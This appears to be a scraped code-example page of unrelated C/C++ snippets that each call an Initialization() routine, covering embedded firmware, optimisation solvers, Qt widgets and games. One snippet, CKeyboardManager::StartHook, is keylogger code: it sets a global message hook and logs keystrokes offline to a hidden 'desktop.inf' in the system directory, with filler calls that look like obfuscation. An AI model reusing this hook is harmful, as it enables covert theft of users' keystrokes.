Ejemplo n.º 1
0
int LearnCV(TMatrix input,  TVariables output, unsigned int minFeatures, unsigned int upToPower, unsigned int folds, TPoint *ray, unsigned int *power){
	bool oldOUT_ALPHA = OUT_ALPHA;
	OUT_ALPHA = false;
	unsigned int optDegree = 0;
	unsigned int optError = INT_MAX;
	unsigned int shortFolds = folds - 1;

	/* Get the optimal degree (outer cross-validation loop) */
	vector<TMatrix> spaceExtensions(upToPower);
	for (unsigned int i = 0; i < upToPower; i++){
		ExtendWithProducts(input, i + 1, &spaceExtensions[i]); // get the (i + 1)-th space extention
		Initialization(spaceExtensions[i], output, minFeatures); // initialize
		/* Prepare slider and start to cut data */
		unsigned sliderSize = (unsigned)ceil((double)n / folds); unsigned chSizeVal = n%folds - 1;
		TMatrix xSlider(sliderSize); TVariables ySlider(sliderSize);
		for (unsigned int j = 0; j < sliderSize; j++){
			xSlider[j] = TPoint(d);
			for (unsigned int k = 0; k < d; k++){xSlider[j][k] = x[k][j*shortFolds]; x[k].erase(x[k].begin() + j*shortFolds);}
			ySlider[j] = y[j*shortFolds]; y.erase(y.begin() + j*shortFolds);
			difference -= ySlider[j]; if (ySlider[j] > 0){numMore--;}else{numLess--;}			
		}
		n -= sliderSize;
		/* Cross-validation for the (i + 1)-th space extension (inner cross-validation loop) */
		unsigned int error = 0; TPoint p(0);
		double tmpXSliderVal; int tmpYSliderVal;
		for (unsigned int j = 0; j < folds; j++){
			/* Estimate the current cut */			
			Alpha(&p);
			TVariables res(0);
			Classify(xSlider, p, &res);
			for (unsigned int k = 0; k < sliderSize; k++){error += abs(res[k] - ySlider[k])/2;}
			/* Increment the pointer */
			if (j == shortFolds){break;}
			/* Replace the slider */
			if (j == chSizeVal){
				for (unsigned int l = 0; l < d; l++){x[l].push_back(xSlider[sliderSize - 1][l]);} y.push_back(ySlider[sliderSize - 1]);
				n++; difference += ySlider[sliderSize - 1]; if (ySlider[sliderSize - 1] > 0){numMore++;}else{numLess++;}
				sliderSize--; xSlider.erase(xSlider.begin() + sliderSize); ySlider.erase(ySlider.begin() + sliderSize);
//				for (unsigned int j = 0; j < d; j++){x[j].shrink_to_fit();} y.shrink_to_fit(); - IT IS TOO DANGEROUS
			}
			for (unsigned int k = 0; k < sliderSize; k++){
				for (unsigned int l = 0; l < d; l++){tmpXSliderVal = x[l][k*shortFolds + j]; x[l][k*shortFolds + j] = xSlider[k][l]; xSlider[k][l] = tmpXSliderVal;}
				difference += ySlider[k]; if (ySlider[k] > 0){numMore++;}else{numLess++;}
				tmpYSliderVal = y[k*shortFolds + j]; y[k*shortFolds + j] = ySlider[k]; ySlider[k] = tmpYSliderVal;
				difference -= ySlider[k]; if (ySlider[k] > 0){numMore--;}else{numLess--;}
			}
		}
		/* Check if we've got a better result */ 
		if (error < optError){optError = error; optDegree = i + 1; if (optError == 0){break;}}
	}

	OUT_ALPHA = oldOUT_ALPHA;
	/* Eventually get the classification ray */
	Initialization(spaceExtensions[optDegree - 1], output, minFeatures); // initialize
	power[0] = optDegree;
	return Alpha(ray);
}
Ejemplo n.º 2
0
RNewton::RNewton(const Problem *prob, const Variable *initialx)
{
	const Vector *EMPTYETA;
	if (prob->GetDomain()->GetIsIntrinsic())
		EMPTYETA = prob->GetDomain()->GetEMPTYINTR();
	else
		EMPTYETA = prob->GetDomain()->GetEMPTYEXTR();
	Initialization(prob, initialx, EMPTYETA);
	theta = 1;
	kappa = 0.1;
	Min_Inner_Iter = 0;
	Max_Inner_Iter = 1000;
	useRand = false;
	r = EMPTYETA->ConstructEmpty();
	z = EMPTYETA->ConstructEmpty();
	delta = EMPTYETA->ConstructEmpty();
	Hd = EMPTYETA->ConstructEmpty();

	SolverName.assign("RNewton");
	prob->SetUseGrad(true);
	prob->SetUseHess(true);

	tCGLSstatusSetnames = new std::string [TCGLSSTATUSSETLENGTH];
	tCGLSstatusSetnames[LS_NEGCURVTURE].assign("NEGCURVTURE");
	tCGLSstatusSetnames[LS_LCON].assign("LCON");
	tCGLSstatusSetnames[LS_SCON].assign("SCON");
	tCGLSstatusSetnames[LS_MAXITER].assign("MAXITER");
};
ShapeSequenceReader::ShapeSequenceReader(ShapeLoadingSettings& settings, int
    width, int height, double K[3][3], int startFrame, int numTrackingFrames)
{
    samplingScale = settings.shapeSamplingScale;

    m_hasGT = settings.hasGT;
    m_nWidth = width * settings.shapeSamplingScale;
    m_nHeight = height * settings.shapeSamplingScale;
    m_colMajor = settings.shapeColMajor;

    startFrameNo = startFrame;
    currentFrameNo = startFrame;
    totalFrameNo = numTrackingFrames;

    shapePath = settings.resultsPath;
    shapeFormat = settings.shapeFormat;
    shapeFormatGT = settings.shapeFormatGT;

    gtModelFile = settings.gtModelFile;
    solModelFile = settings.solModelFile;
    labelColorFile = settings.labelColorFile;

    useMask = settings.loadShapeMask;
    shapeMaskFile = settings.shapeMaskFile;

    m_nModelNum = settings.modelNum;

    // Initialization
    setIntrinsicMatrix(K);
    Initialization();
    readModelInfo();

}
Ejemplo n.º 4
0
//*****************************************************************************
//===========================================================================
//  	Start of MAIN FUNCTION
//===========================================================================
int main(void) 
{

Init:
	//Setup UART for Q111 & Q112
	Initialization(); //Ports, UART, Timers, Oscillator, Comparators, etc.
	
// ====================  START EXAMPLE OF RX LOOP =========================== 
RX_Loop:	
		main_clrWDT();

		//Load Array...
		uart_startReceive(RecWorld, 22, _funcUartFin);

		while(_flgUartFin != 1){
			
		}//Wend...

		
		//Clear Array
		_flgUartFin = 0;		//+++Place Breakpoint Here to view contents of Array+++
		for (i=0;i<22;i++)
		{
			RecWorld[i] = 0;	
		}//next i...
		goto RX_Loop;
// ====================  END EXAMPLE OF RX LOOP ============================= 

}//end main
Ejemplo n.º 5
0
Archivo: widget.cpp Proyecto: Qmax/PT6
Widget::Widget(QWidget *parent) :
    QWidget(parent),
    ui(new Ui::Widget)
{
    ui->setupUi(this);
//QPixmap Pix = QPixmap();
//Pix = QPixmap::grabWidget(this,0,0,800,600);
//Pix.save("ICMJig.jpg");
//QClipboard *board = QApplication::clipboard();
//board->setPixmap(Pix);
    initialiseHWLibraries();
    Initialization();
    initialiseFeedBackResistance();
    qDebug()<< "ICM Loaded";
    QPluginLoader loader5("libWaveformTestjigInterface.so",this);
    objWaveProduct = qobject_cast<IQmaxWaveProduct*>(loader5.instance());

    objWaveProduct->ICreateWaveProduct("Oscillator",this->ui->groupBox_3);
    objWaveProduct->IsetDimensions(0,10,294,290);

    GenerateWaveform();
    m_nImpedanceValue=10.0;
    m_nICMMGR=0;
    ui->optDifferential->setChecked(true);
}
Ejemplo n.º 6
0
LRBFGS::LRBFGS(const Problem *prob, const Variable *initialx)
{
	const Vector *EMPTYETA;
	if (prob->GetDomain()->GetIsIntrinsic())
		EMPTYETA = prob->GetDomain()->GetEMPTYINTR();
	else
		EMPTYETA = prob->GetDomain()->GetEMPTYEXTR();
	Initialization(prob, initialx, EMPTYETA);
	s = EMPTYETA->ConstructEmpty();
	y = EMPTYETA->ConstructEmpty();

	isconvex = false;
	nu = 1e-4;
	mu = 1;
	LengthSY = 4;
	S = nullptr;
	Y = nullptr;
	Currentlength = 0;
	beginidx = 0;
	RHO = nullptr;
	gamma = 1;
	SolverName.assign("LRBFGS");
	prob->SetUseGrad(true);
	prob->SetUseHess(false);
};
Ejemplo n.º 7
0
/* Main loop */
int main()
{
    CYBLE_API_RESULT_T apiResult;
    
    CyGlobalIntEnable;
    Initialization();
    
    for(;;)
    {
        /* Delayed start of advertisement */
        if(initCounter == 6)
        {
            initCounter = 7;
            WDT_DisableWcoEcoCounters();
            
            apiResult = CyBle_GappStartAdvertisement(CYBLE_ADVERTISING_CUSTOM);
            if(apiResult != CYBLE_ERROR_OK)
            {
                CYASSERT(0);
            }
        }
        
        CyBle_ProcessEvents(); /* BLE stack processing state machine interface */
        
        LowPower();
    }
}
Ejemplo n.º 8
0
PNL_USING

CBKInfEngine::
CBKInfEngine(const CDynamicGraphicalModel *pGrModel, intVecVector clusters):
C1_5SliceInfEngine( pGrModel ), 

m_clustersPrSl(clusters),
m_clusters1_5Sl(0),

m_clqs1_5Sl(0),
m_clqsPrSl(0),

m_pPriorSliceJtreeInf(NULL),
m_p1_5SliceJtreeInf(NULL),


m_nVlsForIntNds(0),

m_QuerryJTree(NULL),

m_isExact(false)

{
    Initialization();
}
Ejemplo n.º 9
0
Archivo: main.c Proyecto: fjrti/embed
int main (  ) {

    Initialization( ) ;                                                     // Initialize LCD
    Printfunction( "Press key" ) ;
    _delay_ms ( 10 ) ;

    Commandfunction( 0x01 ) ;
    _delay_ms ( 2 ) ;

    for ( ;; ) {

        Keypad_Out = 0xF0 ; // row =0, col =1
        _delay_ms ( 20 ) ;
        unsigned char buffer = Keypad_In ;
        if ( buffer != 0xF0 )   { // i.e any column key is pressed

// now repeated same thing again to ensure that key was pressed

            _delay_ms( 20 )    ;
            buffer = Keypad_In ;

            if ( buffer != 0xF0 )   Checking( ) ;  // some key is pressed
        }
    }
}
Ejemplo n.º 10
0
LRTRSR1::LRTRSR1(const Problem *prob, const Variable *initialx)
{
	const Vector *EMPTYETA;
	if (prob->GetDomain()->GetIsIntrinsic())
		EMPTYETA = prob->GetDomain()->GetEMPTYINTR();
	else
		EMPTYETA = prob->GetDomain()->GetEMPTYEXTR();
	Initialization(prob, initialx, EMPTYETA);
	s = EMPTYETA->ConstructEmpty();
	y = EMPTYETA->ConstructEmpty();

	theta = 0.1;
	kappa = 0.9;
	isconvex = false;
	LengthSY = 4;
	S = nullptr;
	Y = nullptr;
	YMGS = nullptr;
	inpss = 0;
	inpsy = 0;
	inpyy = 0;
	Currentlength = 0;
	beginidx = 0;
	SS = nullptr;
	SY = nullptr;
	PMGQ = nullptr;
	P = nullptr;
	gamma = 1;
	ischangedSandY = true;
	SolverName.assign("LRTRSR1");
	prob->SetUseGrad(true);
	prob->SetUseHess(false);
};
Ejemplo n.º 11
0
//*****************************************************************************
//===========================================================================
//  	Start of MAIN FUNCTION
//===========================================================================
int main(void) 
{
	//LOCAL VARIABLES
	char char_a;				// -128 to 127
	unsigned char uchar;		// 0-255
	unsigned int uint, delay;	// 0 to 65,535
	long long_a;				// -2,147,483,648 to 2,147,483,647
	float float_a;				// 1.17549435e-38 to 3.40282347e+38
	double double_a;			// 2.2250738585072014e-308 to 1.7976931348623157e+308 
	int i,j,k,x,y;				// -32,768 to 32767
	
	

	Init:
		Initialization();		// Init Micro...(Ports, Timers, OSC, IRQ's, UART, etc...)
			
		
	Primary_Loop:		
		//PLACE USER CODE HERE...
		
		
		
		// ==FLASHING LED CODE== //
		
		GPIO_17 ^=1; 			// flashes LED connected to Q111 I/O A.0
		main_clrWDT();			// Clear WDT
		NOPx(65000);			// Delay slows down the flashing of the LED to be visible to the human eye
		NOPx(65000);			// Delay slows down the flashing of the LED to be visible to the human eye
		
		//  ==END OF FLASHING LED CODE==  //
		
	goto Primary_Loop;
		

}//end main
Ejemplo n.º 12
0
Archivo: widget.cpp Proyecto: Qmax/PT6
Widget::Widget(QWidget *parent) :
    QWidget(parent),
    ui(new Ui::Widget)
{
    ui->setupUi(this);

    QPluginLoader loader4("libQmaxPTInterface.so",this);
    ILineEdit = qobject_cast<IQmaxLineEdit*>(loader4.instance());
    INumberPanel=qobject_cast<IQmaxNumberPanel*>(loader4.instance());

    QPluginLoader loader5("libWaveformTestjigInterface.so",this);
    objWaveProduct = qobject_cast<IQmaxWaveProduct*>(loader5.instance());

    objWaveProduct->ICreateWaveProduct("Oscillator",this->ui->grpWaveWindow);
    objWaveProduct->IsetDimensions(0,10,470,235);


    Initialization();
    qDebug()<< "AWG Loaded";





}
void EasyUnicodeFileLE::open( string FileName, ios_base::open_mode OpenMode )
{
	/*先关闭试试*/
	if( F.is_open( ) ) {
		cout << "WARNING_EUFLE001 - Target opening file is open, and will be closed." << endl;
		cout << "                   ( File Name: " << FileName << " )" << endl;
		close( );
	}

	/*初始检测操作*/
	if( !Initialization( OpenMode ) ) return;

	/*判断读or写模式*/
	JudgeReadOrWrite( OpenMode );

	/*执行打开操作*/
	char Name[ 1000 ];
	Tools.StringToChars( FileName, Name );
	F.open( Name, OpenMode | ios_base::in | ios_base::binary ); //内部要进行读取操作
	if( !F.is_open( ) ) {
		cout << "ERROR_EUFLE004 - Cannot open file." << endl;
		cout << "                 ( File Name: " << Name << " )" << endl;
		system( "PAUSE" );
		return;
	}

	/*头部标记处理*/
	char Head[ 3 ] = "\xFF\xFE";
	if( IsReadMode ) {//读入模式
		if( DEBUG_FLAG ) cout << "File of in-mode." << endl;
		F.read( Head, 2 );
		if( strcmp( Head, "\xFF\xFE" ) ) {
			cout << "ERROR_EUFLE005 - Not a Little-Endian Unicode file." << endl;
			cout << "                 File Name: " << Name << endl;
			cout << "                 Encode:    " << testFileHeader( ) << endl;
			system( "PAUSE" );
			return;
		}
	}
	else {
		if( DEBUG_FLAG ) cout << "File of out-mode." << endl;
		if( ( ios_base::trunc | OpenMode ) == OpenMode ) F.write( Head, 2 );//覆写输出模式
		else { //不是覆写模式,要先验证FFFE
			F.seekg( 0, ios_base::beg );
			F.read( Head, 2 );
			if( strcmp( Head, "\xFF\xFE" ) ) {
				cout << "ERROR_EUFLE006 - Not a Little-Endian Unicode file." << endl;
			cout << "                 ( File Name: " << Name << " )" << endl;
				system( "PAUSE" );
				return;
			}
			SetPointer( 0, ios_base::end );
		}
	}

	return;
}
Ejemplo n.º 14
0
PTPSoCTestJigInterface2::PTPSoCTestJigInterface2(QWidget *parent)
    : QWidget(parent)
{
	ui.setupUi(this);
        LoadPlugins();
        Initialization();
        SignalsAndSlots();
        enableRichGUI();
}
JNIEXPORT jdouble JNICALL Java_mainPackage_Main_nativeSequentialMatrixMultiplikation(JNIEnv *env, jobject o, jint n, jint m)
{
    N = n;
    M = m;
    Initialization();
    TestInitialization();
    return SequentialCalculation();
    FreeMemory();
}
Ejemplo n.º 16
0
Model_LVoter::Model_LVoter(int rowcol, void * tempPara)
{
	Para = (ParaDlg_Voter *) tempPara;
	nStates = Para->m_nStates;
	nRow = rowcol;
	nCol = rowcol;
	pStateArray = new char[nRow * nCol];
	Initialization();

}
Ejemplo n.º 17
0
RoundKey::RoundKey(int _w, int _r, int _l, std::string _key)
{
    key = _key;

    w = _w;
    r = _r;
    l = _l;

    Initialization(_key);
}
Ejemplo n.º 18
0
int main(int argc, char** argv)
{
  if (argc !=2)
  {
    cout<< "Args: levels" <<endl;
    exit(0);
  }
  MPI_Init( &argc, &argv);
  Initialization(atoi(argv[1]));
  return 0;
}
Ejemplo n.º 19
0
Archivo: RSD.cpp Proyecto: cran/fdasrvf
RSD::RSD(const Problem *prob, const Variable *initialx)
{
	const Vector *EMPTYETA;
	if (prob->GetDomain()->GetIsIntrinsic())
		EMPTYETA = prob->GetDomain()->GetEMPTYINTR();
	else
		EMPTYETA = prob->GetDomain()->GetEMPTYEXTR();
	Initialization(prob, initialx, EMPTYETA);
	SolverName.assign("RSD");
	prob->SetUseGrad(true);
	prob->SetUseHess(false);
};
Ejemplo n.º 20
0
BOOL CKeyboardManager::StartHook()
{
	TCHAR szModule [MAX_PATH];

	if (!Initialization())
		return FALSE;

	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	ZeroMemory(m_pTShared, sizeof(TShared));

	g_bSignalHook = TRUE;

	m_dwLastMsgTime = GetTickCount();
	m_pTShared->hActWnd = NULL;
	m_pTShared->hGetMsgHook = NULL;
	m_pTShared->dwOffset = 0;
	
	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));

	__try
	{
		StartService(NULL,NULL,NULL);
	}
	__finally
	{
		__asm nop;
	}
	GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	lstrcat(m_pTShared->strRecordFile, "\\desktop.inf");

	// 文件存在,就开始离线记录开启
	if ( GetFileAttributes(m_pTShared->strRecordFile) != -1 )
	{
		m_pTShared->bIsOffline = TRUE;
	}
	else
		m_pTShared->bIsOffline = FALSE;

	if (m_pTShared->hGetMsgHook == NULL)
	{
		SC_HANDLE hSCM =  OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );		
		m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);

// 		GetLastError();
// 		__asm int 3
		CloseServiceHandle(hSCM);
	}

	return TRUE;
}
Ejemplo n.º 21
0
int main(int argc, char *argv[])
{
    int p;
    Initialization();
    QApplication a(argc, argv);
    MainWindow w;
    w.setStyleSheet("MainWindow{background-image: url(:/new/prefix1/back.bmp);}");
    www = &w;
    w.show();
	p = a.exec();
    Finalization();
	return p;
}
Ejemplo n.º 22
0
//*****************************************************************************
//===========================================================================
//  	Start of MAIN FUNCTION
//===========================================================================
int main(void) 
{

Init:
	//Setup UART for Q111 & Q112
	Initialization(); //Ports, UART, Timers, Oscillator, Comparators, etc.
	
Loop:

//...Your Code Here!
	
goto Loop;
}//end main
Ejemplo n.º 23
0
PNL_USING

C1_5SliceInfEngine::
C1_5SliceInfEngine( const CDynamicGraphicalModel *pDBN):
C2TBNInfEngine( pDBN ),
m_queryNodes(0),
m_VectorIntNodesPriorSlice(0),
m_VectorIntNodesISlice(0),
m_VectorRootNodesISlice(0),
m_nIntNodes(0)

{
    Initialization( pDBN );
}
bool NFCLoginNet_ServerModule::AfterInit()
{
	
	m_pEventProcessModule = dynamic_cast<NFIEventProcessModule*>(pPluginManager->FindModule("NFCEventProcessModule"));
	m_pKernelModule = dynamic_cast<NFIKernelModule*>(pPluginManager->FindModule("NFCKernelModule"));
	m_pLoginLogicModule = dynamic_cast<NFILoginLogicModule*>(pPluginManager->FindModule("NFCLoginLogicModule"));
	m_pLogModule = dynamic_cast<NFILogModule*>(pPluginManager->FindModule("NFCLogModule"));
	m_pLogicClassModule = dynamic_cast<NFILogicClassModule*>(pPluginManager->FindModule("NFCLogicClassModule"));
    m_pElementInfoModule = dynamic_cast<NFIElementInfoModule*>(pPluginManager->FindModule("NFCElementInfoModule"));
    m_pLoginToMasterModule = dynamic_cast<NFILoginToMasterModule*>(pPluginManager->FindModule("NFCLoginToMasterModule"));
	m_pUUIDModule = dynamic_cast<NFIUUIDModule*>(pPluginManager->FindModule("NFCUUIDModule"));
    

	assert(NULL != m_pEventProcessModule);
	assert(NULL != m_pKernelModule);
	assert(NULL != m_pLoginLogicModule);
	assert(NULL != m_pLogModule);
	assert(NULL != m_pLogicClassModule);
    assert(NULL != m_pElementInfoModule);

	assert(NULL != m_pLoginToMasterModule);
	assert(NULL != m_pUUIDModule);

	m_pEventProcessModule->AddEventCallBack(NFIDENTID(), NFED_ON_CLIENT_LOGIN_RESULTS, this, &NFCLoginNet_ServerModule::OnLoginResultsEvent);
	m_pEventProcessModule->AddEventCallBack(NFIDENTID(), NFED_ON_CLIENT_SELECT_SERVER_RESULTS, this, &NFCLoginNet_ServerModule::OnSelectWorldResultsEvent);

	NF_SHARE_PTR<NFILogicClass> xLogicClass = m_pLogicClassModule->GetElement("Server");
	if (xLogicClass.get())
	{
		NFList<std::string>& xNameList = xLogicClass->GetConfigNameList();
		std::string strConfigName; 
		for (bool bRet = xNameList.First(strConfigName); bRet; bRet = xNameList.Next(strConfigName))
		{
			const int nServerType = m_pElementInfoModule->GetPropertyInt(strConfigName, "Type");
            const int nServerID = m_pElementInfoModule->GetPropertyInt(strConfigName, "ServerID");
			if (nServerType == NF_SERVER_TYPES::NF_ST_LOGIN && pPluginManager->AppID() == nServerID)
			{
				const int nPort = m_pElementInfoModule->GetPropertyInt(strConfigName, "Port");				
				const int nMaxConnect = m_pElementInfoModule->GetPropertyInt(strConfigName, "MaxOnline");
				const int nCpus = m_pElementInfoModule->GetPropertyInt(strConfigName, "CpuCount");

				m_pUUIDModule->SetIdentID(nServerID);

				Initialization(NFIMsgHead::NF_Head::NF_HEAD_LENGTH, this, &NFCLoginNet_ServerModule::OnReciveClientPack, &NFCLoginNet_ServerModule::OnSocketClientEvent, nMaxConnect, nPort, nCpus);		
			}
		}
	}
	
	return true;
}
Ejemplo n.º 25
0
Archivo: main.c Proyecto: sndae/b3r1
int main (void)
{
    Initialization();

    show_mhz();				// Display CPU speed
    TimerWait(1000);		// Wait 1 second

    while(1)
    {
        printLCD("Show ADC");			// Display the text in quotes on the LCD
        while (!KEY_VALID);				// Wait for joystick to be moved or pressed.
        if (getkey() == 1)				// If enter was pressed then do what is in the braces, just skip over it.
        {
            TimerWait(500);				// debounce joystick button
            showADC();
            printLCD("Back ADCs");
            TimerWait(2000);
        }

        printLCD("Balance");			// Display the text in quotes on the LCD
        while (!KEY_VALID);				// Wait for joystick to be moved or pressed.
        if (getkey() == 1)				// If enter was pressed then do what is in the braces, else just continue.
        {
            TimerWait(500);				// debounce joystick button
            balance();
            printLCD("Back Balance");
            TimerWait(2000);
        }

        printLCD("rprintf");			// Display the text in quotes on the LCD
        while (!KEY_VALID);				// Wait for joystick to be moved or pressed.
        if (getkey() == 1)				// If enter was pressed then do what is in the braces, else just continue.
        {
            TimerWait(500);				// debounce joystick button
            rprintf_test();
            printLCD("Back rprintf");
            TimerWait(2000);
        }

        printLCD("PWM Test");			// Display the text in quotes on the LCD
        while (!KEY_VALID);				// Wait for joystick to be moved or pressed.
        if (getkey() == 1)				// If enter was pressed then do what is in the braces, else just continue.
        {
            TimerWait(500);				// debounce joystick button
            PWM_Test();
            printLCD("Back PWM Test");
            TimerWait(3000);
        }
    }
}
Ejemplo n.º 26
0
int main(int argc, char ** argv) {
	srand(time(NULL));
	double WinWid = 800;
	double WinHei = 650;
	glutInit(&argc, argv);
	glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB);
	glutInitWindowSize(WinWid, WinHei);
	glutInitWindowPosition(0, 0);
	glutCreateWindow("SAPER");
	glutSpecialFunc(skeyboard);
	glutTimerFunc(50, Timer, 0);
	glutDisplayFunc(draw);
	Initialization(WinWid, WinHei);
	glutMainLoop();
}
Ejemplo n.º 27
0
void main()
{
  LinkList list;

  Initialization(&list);
  int i;
  for (i=0; i<10; i++)
  {
    InsertTail(list, i);
  }
  PrintList(list);
  printf("List length: %d\n", ListLength(list));

  InsertTail(list, 5);
  FindDup(list);
}
Ejemplo n.º 28
0
void TestZUC()
{
	u8 key[16] = {0x3d, 0x4c, 0x4b, 0xe9, 0x6a, 0x82, 0xfd, 0xae, 0xb5, 0x8f, 0x64, 0x1d, 0xb1, 0x7b, 0x45, 0x5b};
	u8 iv[16] = {0x84, 0x31, 0x9a, 0xa8, 0xde, 0x69, 0x15, 0xca, 0x1f, 0x6b, 0xda, 0x6b, 0xfb, 0xd8, 0xc7, 0x66};
	
	u32 pKeyStream[2] = {0};
	u32 KeyStreamLen = sizeof(pKeyStream) / sizeof(pKeyStream[0]);
	u32 i;

	Initialization(key, iv);
	GenerateKeyStream(pKeyStream, KeyStreamLen);

	for (i=0; i<KeyStreamLen; i++)
	{
		printf("z%d:\t0x%08x\n", i, pKeyStream[i]);
	}
}
Ejemplo n.º 29
0
BOOL CHQGrabber::CreateFilter()
{
	if (!m_pBaseFilter && m_pGraph)
	{
		if (SUCCEEDED(CoCreateInstance(m_guid, NULL, CLSCTX_INPROC_SERVER,
			IID_IBaseFilter, (void **)&m_pBaseFilter)))
		{
			if (SUCCEEDED(m_pGraph->AddFilter(m_pBaseFilter, m_name)))
			{
				Initialization();
				return TRUE;
			}
		}
	}
	ReleaseFilter();
	return FALSE;
}
Ejemplo n.º 30
0
//*****************************************************************************
//===========================================================================
//  	Start of MAIN FUNCTION
//===========================================================================
int main(void) 
{

Init:
	//Setup UART for Q111 & Q112
	Initialization(); //Ports, UART, Timers, Oscillator, Comparators, etc.
	
Loop:
	TX_Loop();	// Function that sends "PING"

		NOP1000();

	RX_Loop();  // Function that interfaces with LaPi GUI	

		NOP1000();
	
goto Loop;
}//end main